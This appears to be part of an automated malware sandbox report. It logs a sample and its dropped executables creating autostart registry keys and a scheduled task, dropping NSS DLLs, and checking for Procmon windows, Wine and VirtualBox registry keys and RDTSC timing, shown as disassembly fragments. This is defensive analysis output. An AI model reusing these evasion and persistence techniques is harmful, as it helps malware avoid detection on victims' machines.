Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_5736606B9E4AF5D84DA5A728AAAD52EB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_5736606B9E4AF5D84DA5A728AAAD52EB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_5736606B9E4AF5D84DA5A728AAAD52EB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

Code function: 7_2_6C9355F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

7_2_6C9355F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F05E second address: B5F064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E8ED second address: B5E8F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E8F1 second address: B5E8F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E8F5 second address: B5E900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDECEE second address: CDECF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDECF3 second address: CDECFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FF0BC8515D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDECFD second address: CDED07 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF0BCB462B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9D6A second address: CC9D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BC8515DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9D7B second address: CC9D85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9D85 second address: CC9D8F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF0BC8515D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDD54 second address: CDDD63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FF0BCB462B6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDD63 second address: CDDD7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDD7D second address: CDDD8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDD8A second address: CDDD8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDD8E second address: CDDD9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FF0BCB462B6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDD9E second address: CDDDA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDDA4 second address: CDDDAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE095 second address: CDE099 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDFEF8 second address: CDFEFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDFEFC second address: CDFF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0121 second address: CE016B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xor dword ptr [esp], 68DD7A9Bh 0x00000011 js 00007FF0BCB462B6h 0x00000017 lea ebx, dword ptr [ebp+12454E62h] 0x0000001d mov dword ptr [ebp+122D2B95h], eax 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FF0BCB462C8h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE01D7 second address: CE0223 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF0BC8515D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007FF0BC8515DAh 0x00000012 add dword ptr [ebp+122D1C9Eh], esi 0x00000018 pop ecx 0x00000019 push 00000000h 0x0000001b jmp 00007FF0BC8515E9h 0x00000020 mov dx, 4091h 0x00000024 call 00007FF0BC8515D9h 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0223 second address: CE022D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF0BCB462B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE022D second address: CE0232 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0232 second address: CE0286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 jmp 00007FF0BCB462BDh 0x0000000e pop ecx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 jmp 00007FF0BCB462C4h 0x0000001c popad 0x0000001d push eax 0x0000001e pushad 0x0000001f popad 0x00000020 pop eax 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 jmp 00007FF0BCB462BBh 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d push eax 0x0000002e push edx 0x0000002f jns 00007FF0BCB462B8h 0x00000035 push edx 0x00000036 pop edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0286 second address: CE028C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE028C second address: CE0290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2C37 second address: CF2C3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF8EA second address: CFF912 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FF0BCB462C3h 0x0000000f jmp 00007FF0BCB462BBh 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF912 second address: CFF925 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FF0BC8515DEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFA4D second address: CFFA72 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF0BCB462B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF0BCB462C7h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFBAD second address: CFFBC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BC8515E8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00162 second address: D0016A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0016A second address: D001AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E8h 0x00000007 jmp 00007FF0BC8515E7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF0BC8515DFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D001AE second address: D001B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D009F4 second address: D00A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF0BC8515D6h 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f jl 00007FF0BC8515D8h 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00A0B second address: D00A23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FF0BCB462BEh 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00A23 second address: D00A3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FF0BC8515D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00A3B second address: D00A47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 js 00007FF0BCB462B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00D96 second address: D00D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01F40 second address: D01F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D039CA second address: D039CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08042 second address: D0806A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF0BCB462C5h 0x00000008 jmp 00007FF0BCB462BFh 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 jns 00007FF0BCB462B6h 0x00000016 pop eax 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0806A second address: D08079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF0BC8515D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08079 second address: D08081 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08081 second address: D08088 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C7D5 second address: D0C7F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C8h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C7F5 second address: D0C7F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB8DB second address: CCB8DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BEB1 second address: D0BED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FF0BC8515D6h 0x0000000e jmp 00007FF0BC8515E9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BED8 second address: D0BEDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C4DF second address: D0C4EB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jo 00007FF0BC8515D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C4EB second address: D0C505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF0BCB462C4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C6AC second address: D0C6BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515DAh 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F99D second address: D0F9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F9A3 second address: D0F9DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jl 00007FF0BC8515EEh 0x00000013 jmp 00007FF0BC8515E8h 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e jnl 00007FF0BC8515D8h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F9DC second address: D0FA32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push edx 0x0000000b jmp 00007FF0BCB462C7h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 jmp 00007FF0BCB462C8h 0x0000001a pop eax 0x0000001b jmp 00007FF0BCB462BDh 0x00000020 push 71AA9882h 0x00000025 pushad 0x00000026 push esi 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D101D1 second address: D101DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF0BC8515D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10B3F second address: D10B43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
